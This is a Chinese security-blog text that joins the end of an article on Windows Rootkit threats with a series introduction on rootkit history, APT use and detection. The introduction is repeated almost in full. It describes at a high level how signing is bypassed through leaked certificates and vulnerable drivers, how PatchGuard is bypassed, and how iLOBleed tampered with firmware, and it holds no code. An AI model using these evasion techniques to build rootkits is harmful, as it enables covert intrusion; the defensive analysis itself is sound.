尽管形式还算多样，但细心的你一定已经发现了，它们或多或少都存在着一些可识别的特征，在经历过钓鱼的反复洗礼后，甚至会有部分人不管什么邮件都直接丢VT跑一圈（当然这样做不好，毕竟误传敏感文件还是比较严重的），这些特征让攻击活动变得非常容易暴露。
再假定攻击活动已经进行到权限维持之后，我们也会排查到下述类似情况。
当然，这样做会显得有些过于直接，攻击者可能会采用更为复杂的手法，比如DLL劫持，一方面避免了持久化的痕迹，另一方面在免杀上也取得了一定效果，但我们仍然可以观测到。
这样来看，发现一个异常也不算太难，对吧，毕竟攻击者在每个环节都或多或少地留下了一些痕迹，无论我们哪个环节捕获到了威胁，都可以向前和向后反溯，还原攻击链路。但由于真实环境足够复杂，也不是所有人员都具备安全知识和安全意识，导致攻击活动通常也能成功，甚至持续很长时间不被发现。但至少，当你感知到它可能存在威胁时，还是能比较容易地发现它。
那么，这样的威胁我们还是可以称之为“摆在明面上”的威胁，你只需要更加耐心和细心地将它们找出来，而随着安全体系建设地逐渐完整和全员安全意识地不断提高，此类攻击的生存期也会不断缩短。
回过头来，我们再看一看Windows Rootkit，历史上APT组织Strider曾利用一款名为Remsec的恶意软件对多个国家，包括政府机构在内的系统进行了长达五年之久的监控。
其实这里少说了一个词“至少”，该Rootkit帮助攻击者完成了至少长达五年的攻击活动，这期间包括俄罗斯、伊朗、卢旺达、中国、瑞典、比利时在内的多个国家的政府机构、科学研究中心、军事组织、电信提供商和金融机构都有被感染。
且该Rootkit的功能非常完善，具有密码窃取、键盘记录、后门控制等多种功能，试想这样一个恶意软件对上述目标进行着长达至少五年的监控，是否足够让人警惕呢？
Remsec被发现之时，研究员们对它的评价是“一种几乎不可能被检测到的恶意软件”，而这也是一直以来大家对Rootkit的认识，这一点是否非常值得我们深思呢，究竟是Windows Rootkit慢慢销声匿迹了，还是受限于能力不足导致其检出率如此之低，而生存期又如此之长呢？
其实对于攻击者来说，打点技巧是多种多样的，并不一定要选择像钓鱼这样会留下明显痕迹的技巧，对于那些使用未知技巧，甚至是0day进行攻击的活动，我们想要在打点阶段捕获它们的可能性较低，这种情况下，捕获攻击者在后门植入、持久化等阶段留下的痕迹，并基于此反溯，还原攻击链路会是一个不错的选择，而Rootkit会把这些痕迹通通隐藏，让我们的命中难度剧增。下图显示了近年来在野0day数量。
3. 从达成效果看Windows Rootkit
那么Rootkit究竟能达成什么样的效果呢？
以一个操作图形接口的Rootkit为例，它在任务管理器中隐藏了calc.exe
换句话说，Rootkit可以把攻击者不想让你发现的攻击痕迹进行隐藏，比如我们在进程异常排查中，会关注那些有着异常通信或是可疑模块加载的进程。
以白加黑技术为例，该技术虽然能在免杀上取得良好效果，但如果同时存在异常通信和可疑模块(未签名的dll)，我们就还是能较为容易地定位到异常点。
而通过一些简单的技巧，就可以在一定程度上对白加黑利用中的恶意dll进行隐藏。
而Rootkit能达成的隐藏效果，会远胜于上图情况，当使用Rootkit从分析工具中彻底隐去这些异常点时，你还能快速地判定该进程有问题吗？
当然，此处仅是过滤了异常模块，这也只是Rootkit能做到的一小部分，除此以外，服务、端口、流量等也都可以通过Rootkit进行操作，那么你想看到什么，攻击者就可以让你看到什么，“摆在明面上”的威胁就转变成了“隐藏在暗地里”的威胁，想在主机上发现异常就会变得极其困难。
前面的内容提到，Windows引入了两大安全机制来对抗Rootkit，分别是签名验证和PatchGuard，我们将针对这两个点分别展开讨论。
关于这部分内容，国外安全研究员Bill Demirkapi在Black Hat 2021的议题《Demystifying Modern Windows Rootkits》中给出了答案，相应的解决方案分别为直接购买、滥用泄露证书和寻找“0day”驱动。
这种方式其实没什么好说的，攻击者唯一需要考虑的问题，就是购买渠道是否足够可靠，是否存在身份暴露的风险。
从可行性上来说，Windows根本不关心证书是否已经过期或者已经被吊销，通过泄露的证书，攻击者就可以生成在任意Windows版本下都有效的驱动签名。
由于不需要购买证书，在降低成本的同时也避免了因购买渠道不可靠而暴露身份的风险，此外，通过这种方式进行植入所需的前置条件也不算多，与挖掘“0day”驱动的方式相比，技术难度降低很多，当然，掌握了泄露证书的情报后，相关安全厂商可以针对此类Rootkit进行查杀拦截。
下图是收集到的一些历史泄露证书，从此图可以看出泄露的情报并不少见。
从可行性来说，一定存在着可被利用的“0day”驱动，而历史上，就曾有知名的APT组织利用具有合法签名驱动程序来进行恶意驱动的加载，该组织是俄罗斯APT黑客组织Turla，它利用的合法驱动为VirtualBox，下文是对该利用过程的描述
网上有着包含win7、win10在内的不少开源项目，攻击者可通过集成这些项目绕过PatchGuard，往内核中植入恶意代码，实现Rootkit功能
5. 从现状来看Windows Rootkit
当我们尝试在VT上进行Hunting，会发现无效证书的利用非常普遍
其实，就算你遇到一个有着合法签名的Rootkit也不算什么新鲜事了。
回过头来单看2021，Windows Rootkit攻击更多地集中在游戏行业（我想，这也是它们相对而言较快暴露的一个原因，传播量变大的同时，也遭受了更多的关注），但当Rootkit调转*头对准更高价值的目标时，当它们的目的不再是简单地获利时，当它们的动静更小，隐藏更具针对性时，我们是否做好应对准备了呢？毕竟从技术角度而言，APT组织又有什么理由拒绝Rootkit呢?
值得注意的是，当APT组织拿起Rootkit这个武器时，它们*头要对准的将会是包括政府、军事在内的各种重要组织机构，它们的目的将不再是简单地获利，而是对目标地长期监控和重要情报的窃取，这一点从历史APT运用Rootkit进行的攻击事件中不难发现。
基于社工和钓鱼结合的攻击活动虽能以较小的成本拿下目标，但留下的明显痕迹会导致其生存期骤减，很容易在打点阶段就暴露，而通过其它未知渠道打点后，借助合法进程、机制完成恶意活动(如Lazarus对Get-MpPreference的利用)，或通过白加黑(如dll劫持，LOLBINS)等方式进行后门安置和权限维持等，虽然在免杀层面有着不错的效果，却不能很好地隐匿攻击痕迹。
Rootkit更多地对应在后门安置、持久化阶段，掌握这项技术的攻击者也会有着更高的技术水平，他们或许会更青睐于一些高级的打点技巧，以降低每个环节被捕获的可能性，当然，越高价值的目标越会吸引更高成本的投入，我们想要从容应对也就更加困难，而事实上，是否有APT组织正利用着此技术进行攻击活动也尚未可知。
参考链接：
1.https://en.wikipedia.org/wiki/Project_Sauron
2.https://en.wikipedia.org/wiki/Project_Sauron
3.https://www.sciencealert.com/scientists-just-found-an-advanced-form-of-malware-that-s-been-hiding-for-at-least-5-years
4.https://arstechnica.com/information-technology/2016/08/researchers-crack-open-unusually-advanced-malware-that-hid-for-5-years/
5.https://arstechnica.com/information-technology/2016/08/researchers-crack-open-unusually-advanced-malware-that-hid-for-5-years/
6.https://www.inverse.com/article/19401-project-sauron-malware-strider
7.https://www.infosecurity-magazine.com/news/project-sauron-has-been-spying/
8.https://www.infosecurity-magazine.com/news/project-sauron-has-been-spying/
9.https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/
10.https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/
11.https://i.blackhat.com/USA-20/Wednesday/us-20-Demirkapi-Demystifying-Modern-Windows-Rootkits.pdf
12.https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/
13.https://www.chinaz.com/2021/1022/1319390.shtml
本文作者：Further_eye
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/?p=172925
序言
APT，全称Advanced Persistent Threat，又名高级持续性威胁，往往有地区或政治背景，以情报搜集、破坏、或经济利益为目的，攻击环节可能使用各类社工、打点和内网渗透以及0day漏洞利用，作为一种非对称的攻击手段，往往能为攻击组织背后的政治或经济实体带来意想不到的地缘、情报、经济甚至军事利益或战术优势。
APT攻击的检测、溯源与反制，往往代表了一个国家、一个组织最高级的网络安全实战能力。而如何应对APT攻击，减少所在组织或国家的情报损失，并提升网络安全优势，就成为头部网络安全企业必须考虑的问题。
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐藏、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
Rootkit 系列文章将围绕 Rootkit 的技术栈和运用场景，从攻防两个视角对其危害性和检测思路展开分析。
《序章：悬顶的达摩克利斯之剑》将着重介绍 Rootkit 技术发展历程、Rootkit背后的影子以及 Rootkit 检测基本思想，开启 Rootkit 系列篇章。
1.平静中暗藏危机
Rootkit 不是最常见的恶意软件类型。
根据 Bitdefender White Paper Rootkit CREAT3432报告所述，Rootkit 占检测到的恶意软件总数不到 1%。
由于 Rootkit 开发的复杂性，Rootkit 并不经常使用。尽管操作系统中引入了针对 Rootkit 保护机制，但 Rootkit 仍然可以长期隐藏设备上，进行恶意活动。
因此 Rootkit 被业内公认是最难检测的隐藏手段。
Rootkit 常常用于高质量的APT攻击。APT攻击具有较强的持续性特点，这需要建立在不被发现的基础之上，APT组织可以通过 Rootkit 在目标网络中潜伏几个月甚至几年之久，长期监控并窃取庞大的情报数据。
Rootkit 如同高悬在我们头顶的达摩克利斯之剑，平静祥和的背后，却是无尽的危险与杀机。
2.何为Rootkit
Rootkit 是一种特殊的程序(或一组程序)，通常与木马、后门等其他恶意程序结合使用。
Rootkit 主要任务是隐藏并长期驻留在感染机器上的从事各类恶意活动，达到高隐藏高持久化目的。
Rootkit 一般具有多种功能，例如：
获得远程访问
Rootkit 提供对操作系统的远程访问权限并具备检测规避能力。
窃取数据
大多数情况下，攻击者使用 Rootkit 窃取数据。黑客以个人或公司为目标，获取敏感个人信息数据，以进行相关黑产活动。APT组织针对特定目标，以从事间谍活动或金融犯罪活动。
各类隐藏功能
Rootkit 实现隐藏文件、进程、端口、网络连接、驱动、内核模块等功能，将自身和其他类型的恶意软件隐藏在设备中，使删除它们变得更加困难。
创建“永久“的 root 权限后门
一些 Rootkit 可以在设备中创建一个 root 权限的后门，攻击者可以通过发送精心构造的数据包来触发后门连接并控制设备。
隐私监控
使用 Rootkit，攻击者可以拦截网络流量、监控键盘击键、控制用户操作。
劫持或关闭安全程序
某些 Rootkit 可以将自己隐藏在设备的安全检测程序中，或者将其完全关闭 ，从而难以检测和删除恶意软件。
根据 Rootkit 运行时权限级别划分分为：
（1）内核态Rootkit
内核态 Rootkit 具有与操作系统相同的权限，在内核级别运行，通常作为设备驱动程序或可加载模块加载到目标设备中。
内核态 Rootkit 很难开发，因为源代码中的任何错误都会影响目标系统的稳定性，这将是发现恶意程序的最直接表现。
（2）用户态 Rootkit
用户态 Rootkit 以与大多数应用程序具有相同的运行权限。它们可以拦截系统调用并替换 API 或劫持应用程序返回的值，以获得对设备的控制。
用户态 Rootkit 所需的前置知识和复杂度，与内核态Rootkit相比更简单，更容易开发，因此常用于大范围攻击。
3.Rootkit 发展历久弥新
90年代初期，Rootkit 用于攻击 Unix 系统以获得最大权限并以 root 用户身份执行命令，因此得名。直到 1999 年，Greg Hoglund在Phrack上首次发表了专门为Windows 操作系统设计的 NTRootkit。后来，也出现了可用于攻击 macOS、Android 的 Rootkit。
Rootkit 技术由来已久，发展历久弥新，呈现从简单到复杂、高层向低层的演化趋势。
无论是哪种平台下的 Rootkit ，其技术演化的核心思想都是劫持。安全研究员围绕着劫持对象和劫持方式，产生出了非常多的底层Rootkit技术。
不同平台下的 Rootkit ，按照劫持对象和劫持技术复杂度的不同，可将 Rootkit 技术大致分为以下几种。
在Windows平台下：
劫持指令执行流程
直接修改内核对象
内存视图伪装
虚拟Rootkit
硬件Rootkit
在 Linux 平台下：
直接替换系统命令二进制程序
修改LD_PRELOAD劫持共享库
重定位目标文件注入
劫持VDSO
虚拟文件系统劫持
Kprobe
Netfillter Hook
篡改派遣例程劫持系统调用
设置函数蹦床劫持内核函数执行流程
创建新的命名空间
如图 1所示，近二十年 Rootkit 演化发展时间轴(Rootkit开源或热门实例)。
图1 近二十年部分Rootkit出现时间轴
目前，技术是向更加底层的方向发展。然而，根据近十年已发现的 Rootkit 攻击事件，使用用户态Rootkit 却是一个趋势。例如，2010年以后，ZeroAccess Rootkit的开发人员已经转向使用用户态Rootkit。
近十年用户态 Rootkit 使用趋势上升可能由于以下几个原因：
内核态 Rootkit 需要针对不同系统内核版本进行开发和调试，因此大多数攻击者可能没有足够的技术能力，从而选择更简单的攻击方式。
开发和调试 Rootkit 需要花费大量时间成本，大多数攻击者希望低成本快速部署攻击。
内核态 Rootkit 存在不稳定性，源代码中的任何错误都可能导致操作系统BSOD或者Kernel Panic，这将直接暴露入侵行为。
幸存者偏差，用户态 Rootkit 更适合大范围的攻击，由于攻击范围扩大，其相较于内核态 Rootkit执行性时的痕迹更容易被检测，导致从结果上看，使用用户态 Rootkit 呈现上升趋势。
实际上，不仅是安全研究员研究对抗Rootkit，操作系统提供商也在积极与 Rootkit 作斗争。例如，Windows 10 操作系统提供了一系列驱动程序检测来对抗 Rootkit。
所谓道高一尺魔高一丈，攻击者也在开发绕过 Rootkit 防御机制的技术。例如，新的Moriya Rootkit[]已经提供了绕过驱动程序检查和 PatchGuard 强制签名的功能。
甚至攻击者开始向硬件设备中注入 Rootkit 模块。
Amnpardaz的恶意软件分析团队首次在 HP iLO设备中发现 Rootkit —— iLOBleed 。
HP iLO 设备带有自己的处理器单元、存储空间、RAM 和网卡，并且独立于任何本地操作系统运行。
它们的主要作用是为系统管理员提供一种连接远程系统的方法，即使系统处于关闭状态下，也可以执行维护操作，例如更新固件、安装安全更新或重新安装系统等。
iLOBleed 向iLO设备固件中添加了一个名为Implant.ARM.iLOBleed.a的恶意模块，并进行隐藏恶意活动和持久化操作。
攻击者通过更改多个原始固件模块方式，实现劫持 iLO 和服务器之间的消息交换通道，绕过固件正常更新过程，劫持管理 Web 界面以显示无效的 iLO 软件版本信息，鸡翅服务器事件日志模块以防止记录恶意软件的操作，修改 iLO 操作系统的多线程内核等功能，达到高隐藏目的。
攻击者通过逆向分析提取 bootloader.bin、kernel.bin 和 ELF.bin 三个主要部分后，查找在引导加载程序和内核中执行签名验证操作的函数的地址，并将它们替换为 NOP 命令。最后，将修改后的文件组合在一起形成一个完整的 HP Image 文件，并作为新固件写入 SPI 闪存，达到高持久化目的。
iLOBleed 在伪装完成更新的同时，默默地阻止固件更新。它还提供对服务器硬件的访问，定期执行数据销毁操作。
Rootkit 技术在攻防两端的持续对抗下，不断发展。即使开发Rootkit需要对目标操作系统、逆向和编程有很高要求，其开发过程也是困难重重，但新的 Rootkit 还是会定期出现。
4.隐匿于Rootkit背后的影子
内核级别的Rootkit难以开发，那么谁还坚持使用它们？
答案很明确：即具有足够技术和财力支持的战略性组织，这些组织通常会不计成本地进行经济犯罪、破坏基础设施或窃取数据。
DirtyMoe 僵尸网络、H2Miner 组织利用Rootkit进行持久化并隐藏挖矿模块，掩盖挖矿行为和其他恶意活动，将 Rootkit 技术直接用于经济犯罪。
Rootkit 在攻击中的使用最著名的事件莫过于 2010 年震网攻击事件（Stuxnet），攻击者使用 Stuxnet 秘密收集数据并将恶意文件文件下载到受感染机器。攻击的主要目的是阻止伊朗核系统的发展并实际破坏其基础设施。
由于Rootkit 相关开发的各种困难性与其应用场景，它们最常被 APT 组织使用。这一级别的攻击者的主要动机是窃取数据和从事网络间谍活动。
例如，攻击者使用Flame Rootkit跟踪受害者的网络流量、执行键盘记录功能并截取屏幕截图。
APT 组织Strider（也称为 ProjectSauron，或 G0041），其主要目标是俄罗斯、比利时、伊朗、瑞典和卢旺达等政府。在对政府机构的攻击中，使用了Remsec Rootkit，用于窃取加密密钥、配置文件，并收集加密密钥基础设施服务器的 IP 地址。
Kaspersky研究人员发现了TunnelSnake行动，这是一起高级持续性威胁（APT）攻击活动。TunnelSnake至少从 2018 年开始，利用Moriya Rootkit有针对性的从事网络间谍活动。目标包括东南亚和非洲的两个外交组织。Moriya Rootkit 绕过Windows 系统驱动程序检查和 PatchGuard 模块的强制签名验证，为攻击者提供远程访问权限、拦截网络流量、下载和运行下攻击阶段的恶意代码、隐藏向受感染主机发出的恶意命令。这导致攻击者秘密控制了目标的网络长达数月之久。
根据Positive Technologies研究发现，最常见的目标是政府和研究机构，77%的Rootkit被攻击者用于收集数据等间谍目的。
44%的攻击针对政府部门，38%的攻击针对科研单位。这些机构的数据对攻击者往往具有重要价值。除此之外，电信、制造业、金融机构也是名列前茅。而56%的攻击被犯罪分子用来针对个人，包括高级官员、外交官等。而在动机方面，31%是出于经济利益，只有15%的攻击，试图利用受害者的基础设施进行后续攻击。
图2 受Rootkit攻击最多的 5 个行业
Rootkit将继续被APT组织使用，这意味着它不再只是为了破坏数据和获取经济利益，而是为了隐藏复杂的有针对性的攻击，这些攻击可能会给组织带来不可估量的损失。
综上所述，Rootkit 是非常危险并且造成的损失难以评估，原因是：
Rootkit 为攻击者提供系统权限；
Rootkit 使检测恶意活动变得更加困难；
Rootkit 很难被发现和清除在某些情况下无法移除Rootkit，必须升级受感染的硬件；
Rootkit 窃取数据带来的经济损失难以评估；
目标设备存在内核态 Rootkit 通常表明，可能被一个准备充分的高水平组织发起的有针对性的攻击，这意味着虽然攻击未被检测到，但目标的基础设施可能处于攻击者的完全控制之下并潜伏多年。
5.Rootkit的阿喀琉斯之踵
罗卡交换定律：“凡两个物体接触，必会产生转移现象”。其定律原本用于犯罪现场调查中，行为人（犯罪嫌疑人）必然会带走一些东西，亦会留下一些东西。即现场必会留下微量迹证。
罗卡交换定律衍生到计算机取证调查领域来说就是——当攻击者试图进行检测规避时，也产生了其他可以被检测的新特征。
所以高隐藏高持久化 Rootkit 并不是不可检测的。
其 Rootkit 技术本身，就存在阿喀琉斯之踵——隐藏永远是相对用户而言。
攻击者使用Rootkit最关键的地方在于实现其所需功能的前提条件下，尽可能隐藏自身，实现所需功能意味着 Rootkit 必须要与系统进行交互，这说明Rootkit 运行过程中的数据，必然是符合操作系统需求的数据结构。
技术不分好坏，只是看被谁利用，在攻击方利用Rootkit谋坏事之际，防守方也可以利用 Rootkit 发现攻击方的蛛丝马迹。
发现 Rootkit 植入后的异常，往往实时地处置异常，不是第一考虑的要素，因为目标设备存在Rootkit ，通常表明可能正在被一个准备充分的高水平APT组织发起的有针对性的攻击。一旦成为 APT 的目标，“他们”会继续回来，达到最终目的。
此时，安全分析师介入调查并取证溯源是最为重要的，定位数据泄漏范围以及攻击者信息，保护重要业务数据不再泄漏。
悬顶的达摩克里斯之剑还未真正落下，在 Rootkit 领域的攻防对抗中，就是较量攻防双方谁更了解操作系统，谁掌握的更深，谁就更占据优势。相信未来 Rootkit 技术还会向更加深远的领域不断前进。
To be continued ……
参考链接
1.https://download.bitdefender.com/resources/files/News/CaseStudies/study/253/Bitdefender-Whitepaper-RootKit-CREAT3432-en-EN.pdf
2.http://phrack.org/issues/55/5.html
3.https://nakedsecurity.sophos.com/2012/06/06/zeroaccess-Rootkit-usermode/
4.https://securelist.com/operation-tunnelsnake-and-moriya-Rootkit/101831/
5.https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/
6.https://securityintelligence.com/news/dirtymoe-botnet-returns-undetectable-threat-profile/
7.https://mp.weixin.qq.com/s/Rp-QIaLp_6gitUor2IIcAQ
8.https://attack.mitre.org/software/S0143/
9.https://securelist.com/faq-the-projectsauron-apt/75533/
10.https://www.kaspersky.com.cn/about/press-releases/2021_operation-tunnelsnake-formerly-unknown-rootkit-used-to-secretly-control-networks-of-organizations-in-asia-and-africa-cn
11.https://securelist.com/operation-tunnelsnake-and-moriya-Rootkit/101831/
12.https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/
13.https://www.ptsecurity.com/ww-en/analytics/Rootkits-evolution-and-detection-methods/
序言
APT，全称Advanced Persistent Threat，又名高级持续性威胁，往往有地区或政治背景，以情报搜集、破坏、或经济利益为目的，攻击环节可能使用各类社工、打点和内网渗透以及0day漏洞利用，作为一种非对称的攻击手段，往往能为攻击组织背后的政治或经济实体带来意想不到的地缘、情报、经济甚至军事利益或战术优势。
APT攻击的检测、溯源与反制，往往代表了一个国家、一个组织最高级的网络安全实战能力。而如何应对APT攻击，减少所在组织或国家的情报损失，并提升网络安全优势，就成为头部网络安全企业必须考虑的问题。
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐藏、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
Rootkit 系列文章将围绕 Rootkit 的技术栈和运用场景，从攻防两个视角对其危害性和检测思路展开分析。
《序章：悬顶的达摩克利斯之剑》将着重介绍 Rootkit 技术发展历程、Rootkit背后的影子以及 Rootkit 检测基本思想，开启 Rootkit 系列篇章。
1.平静中暗藏危机
Rootkit 不是最常见的恶意软件类型。
根据 Bitdefender White Paper Rootkit CREAT3432报告所述，Rootkit 占检测到的恶意软件总数不到 1%。
由于 Rootkit 开发的复杂性，Rootkit 并不经常使用。尽管操作系统中引入了针对 Rootkit 保护机制，但 Rootkit 仍然可以长期隐藏设备上，进行恶意活动。
因此 Rootkit 被业内公认是最难检测的隐藏手段。
Rootkit 常常用于高质量的APT攻击。APT攻击具有较强的持续性特点，这需要建立在不被发现的基础之上，APT组织可以通过 Rootkit 在目标网络中潜伏几个月甚至几年之久，长期监控并窃取庞大的情报数据。
Rootkit 如同高悬在我们头顶的达摩克利斯之剑，平静祥和的背后，却是无尽的危险与杀机。
2.何为Rootkit
Rootkit 是一种特殊的程序(或一组程序)，通常与木马、后门等其他恶意程序结合使用。
Rootkit 主要任务是隐藏并长期驻留在感染机器上的从事各类恶意活动，达到高隐藏高持久化目的。
Rootkit 一般具有多种功能，例如：
获得远程访问
Rootkit 提供对操作系统的远程访问权限并具备检测规避能力。
窃取数据
大多数情况下，攻击者使用 Rootkit 窃取数据。黑客以个人或公司为目标，获取敏感个人信息数据，以进行相关黑产活动。APT组织针对特定目标，以从事间谍活动或金融犯罪活动。
各类隐藏功能
Rootkit 实现隐藏文件、进程、端口、网络连接、驱动、内核模块等功能，将自身和其他类型的恶意软件隐藏在设备中，使删除它们变得更加困难。
创建“永久“的 root 权限后门
一些 Rootkit 可以在设备中创建一个 root 权限的后门，攻击者可以通过发送精心构造的数据包来触发后门连接并控制设备。
隐私监控
使用 Rootkit，攻击者可以拦截网络流量、监控键盘击键、控制用户操作。
劫持或关闭安全程序
某些 Rootkit 可以将自己隐藏在设备的安全检测程序中，或者将其完全关闭 ，从而难以检测和删除恶意软件。
根据 Rootkit 运行时权限级别划分分为：
（1）内核态Rootkit
内核态 Rootkit 具有与操作系统相同的权限，在内核级别运行，通常作为设备驱动程序或可加载模块加载到目标设备中。
内核态 Rootkit 很难开发，因为源代码中的任何错误都会影响目标系统的稳定性，这将是发现恶意程序的最直接表现。
（2）用户态 Rootkit
用户态 Rootkit 以与大多数应用程序具有相同的运行权限。它们可以拦截系统调用并替换 API 或劫持应用程序返回的值，以获得对设备的控制。
用户态 Rootkit 所需的前置知识和复杂度，与内核态Rootkit相比更简单，更容易开发，因此常用于大范围攻击。
3.Rootkit 发展历久弥新
90年代初期，Rootkit 用于攻击 Unix 系统以获得最大权限并以 root 用户身份执行命令，因此得名。直到 1999 年，Greg Hoglund在Phrack上首次发表了专门为Windows 操作系统设计的 NTRootkit。后来，也出现了可用于攻击 macOS、Android 的 Rootkit。
Rootkit 技术由来已久，发展历久弥新，呈现从简单到复杂、高层向低层的演化趋势。
无论是哪种平台下的 Rootkit ，其技术演化的核心思想都是劫持。安全研究员围绕着劫持对象和劫持方式，产生出了非常多的底层Rootkit技术。
不同平台下的 Rootkit ，按照劫持对象和劫持技术复杂度的不同，可将 Rootkit 技术大致分为以下几种。
在Windows平台下：
劫持指令执行流程
直接修改内核对象
内存视图伪装
虚拟Rootkit
硬件Rootkit
在 Linux 平台下：
直接替换系统命令二进制程序
修改LD_PRELOAD劫持共享库
重定位目标文件注入
劫持VDSO
虚拟文件系统劫持
Kprobe
Netfillter Hook
篡改派遣例程劫持系统调用
设置函数蹦床劫持内核函数执行流程
创建新的命名空间
如图 1所示，近二十年 Rootkit 演化发展时间轴(Rootkit开源或热门实例)。
图1 近二十年部分Rootkit出现时间轴
目前，技术是向更加底层的方向发展。然而，根据近十年已发现的 Rootkit 攻击事件，使用用户态Rootkit 却是一个趋势。例如，2010年以后，ZeroAccess Rootkit的开发人员已经转向使用用户态Rootkit。
近十年用户态 Rootkit 使用趋势上升可能由于以下几个原因：
内核态 Rootkit 需要针对不同系统内核版本进行开发和调试，因此大多数攻击者可能没有足够的技术能力，从而选择更简单的攻击方式。
开发和调试 Rootkit 需要花费大量时间成本，大多数攻击者希望低成本快速部署攻击。
内核态 Rootkit 存在不稳定性，源代码中的任何错误都可能导致操作系统BSOD或者Kernel Panic，这将直接暴露入侵行为。
幸存者偏差，用户态 Rootkit 更适合大范围的攻击，由于攻击范围扩大，其相较于内核态 Rootkit执行性时的痕迹更容易被检测，导致从结果上看，使用用户态 Rootkit 呈现上升趋势。
实际上，不仅是安全研究员研究对抗Rootkit，操作系统提供商也在积极与 Rootkit 作斗争。例如，Windows 10 操作系统提供了一系列驱动程序检测来对抗 Rootkit。
所谓道高一尺魔高一丈，攻击者也在开发绕过 Rootkit 防御机制的技术。例如，新的Moriya Rootkit[]已经提供了绕过驱动程序检查和 PatchGuard 强制签名的功能。
甚至攻击者开始向硬件设备中注入 Rootkit 模块。
Amnpardaz的恶意软件分析团队首次在 HP iLO设备中发现 Rootkit —— iLOBleed 。
HP iLO 设备带有自己的处理器单元、存储空间、RAM 和网卡，并且独立于任何本地操作系统运行。
它们的主要作用是为系统管理员提供一种连接远程系统的方法，即使系统处于关闭状态下，也可以执行维护操作，例如更新固件、安装安全更新或重新安装系统等。
iLOBleed 向iLO设备固件中添加了一个名为Implant.ARM.iLOBleed.a的恶意模块，并进行隐藏恶意活动和持久化操作。
攻击者通过更改多个原始固件模块方式，实现劫持 iLO 和服务器之间的消息交换通道，绕过固件正常更新过程，劫持管理 Web 界面以显示无效的 iLO 软件版本信息，鸡翅服务器事件日志模块以防止记录恶意软件的操作，修改 iLO 操作系统的多线程内核等功能，达到高隐藏目的。
攻击者通过逆向分析提取 bootloader.bin、kernel.bin 和 ELF.bin 三个主要部分后，查找在引导加载程序和内核中执行签名验证操作的函数的地址，并将它们替换为 NOP 命令。最后，将修改后的文件组合在一起形成一个完整的 HP Image 文件，并作为新固件写入 SPI 闪存，达到高持久化目的。
iLOBleed 在伪装完成更新的同时，默默地阻止固件更新。它还提供对服务器硬件的访问，定期执行数据销毁操作。
Rootkit 技术在攻防两端的持续对抗下，不断发展。即使开发Rootkit需要对目标操作系统、逆向和编程有很高要求，其开发过程也是困难重重，但新的 Rootkit 还是会定期出现。
4.隐匿于Rootkit背后的影子
内核级别的Rootkit难以开发，那么谁还坚持使用它们？
答案很明确：即具有足够技术和财力支持的战略性组织，这些组织通常会不计成本地进行经济犯罪、破坏基础设施或窃取数据。
DirtyMoe 僵尸网络、H2Miner 组织利用Rootkit进行持久化并隐藏挖矿模块，掩盖挖矿行为和其他恶意活动，将 Rootkit 技术直接用于经济犯罪。
Rootkit 在攻击中的使用最著名的事件莫过于 2010 年震网攻击事件（Stuxnet），攻击者使用 Stuxnet 秘密收集数据并将恶意文件文件下载到受感染机器。攻击的主要目的是阻止伊朗核系统的发展并实际破坏其基础设施。
由于Rootkit 相关开发的各种困难性与其应用场景，它们最常被 APT 组织使用。这一级别的攻击者的主要动机是窃取数据和从事网络间谍活动。
例如，攻击者使用Flame Rootkit跟踪受害者的网络流量、执行键盘记录功能并截取屏幕截图。
APT 组织Strider（也称为 ProjectSauron，或 G0041），其主要目标是俄罗斯、比利时、伊朗、瑞典和卢旺达等政府。在对政府机构的攻击中，使用了Remsec Rootkit，用于窃取加密密钥、配置文件，并收集加密密钥基础设施服务器的 IP 地址。
Kaspersky研究人员发现了TunnelSnake行动，这是一起高级持续性威胁（APT）攻击活动。TunnelSnake至少从 2018 年开始，利用Moriya Rootkit有针对性的从事网络间谍活动。目标包括东南亚和非洲的两个外交组织。Moriya Rootkit 绕过Windows 系统驱动程序检查和 PatchGuard 模块的强制签名验证，为攻击者提供远程访问权限、拦截网络流量、下载和运行下攻击阶段的恶意代码、隐藏向受感染主机发出的恶意命令。这导致攻击者秘密控制了目标的网络长达数月之久。
根据Positive Technologies研究发现，最常见的目标是政府和研究机构，77%的Rootkit被攻击者用于收集数据等间谍目的。
44%的攻击针对政府部门，38%的攻击针对科研单位。这些机构的数据对攻击者往往具有重要价值。除此之外，电信、制造业、金融机构也是名列前茅。而56%的攻击被犯罪分子用来针对个人，包括高级官员、外交官等。而在动机方面，31%是出于经济利益，只有15%的攻击，试图利用受害者的基础设施进行后续攻击。
图2 受Rootkit攻击最多的 5 个行业
Rootkit将继续被APT组织使用，这意味着它不再只是为了破坏数据和获取经济利益，而是为了隐藏复杂的有针对性的攻击，这些攻击可能会给组织带来不可估量的损失。
综上所述，Rootkit 是非常危险并且造成的损失难以评估，原因是：
Rootkit 为攻击者提供系统权限；
Rootkit 使检测恶意活动变得更加困难；
Rootkit 很难被发现和清除在某些情况下无法移除Rootkit，必须升级受感染的硬件；
Rootkit 窃取数据带来的经济损失难以评估；
目标设备存在内核态 Rootkit 通常表明，可能被一个准备充分的高水平组织发起的有针对性的攻击，这意味着虽然攻击未被检测到，但目标的基础设施可能处于攻击者的完全控制之下并潜伏多年。
5.Rootkit的阿喀琉斯之踵
罗卡交换定律：“凡两个物体接触，必会产生转移现象”。其定律原本用于犯罪现场调查中，行为人（犯罪嫌疑人）必然会带走一些东西，亦会留下一些东西。即现场必会留下微量迹证。
罗卡交换定律衍生到计算机取证调查领域来说就是——当攻击者试图进行检测规避时，也产生了其他可以被检测的新特征。
所以高隐藏高持久化 Rootkit 并不是不可检测的。
其 Rootkit 技术本身，就存在阿喀琉斯之踵——隐藏永远是相对用户而言。
攻击者使用Rootkit最关键的地方在于实现其所需功能的前提条件下，尽可能隐藏自身，实现所需功能意味着 Rootkit 必须要与系统进行交互，这说明Rootkit 运行过程中的数据，必然是符合操作系统需求的数据结构。
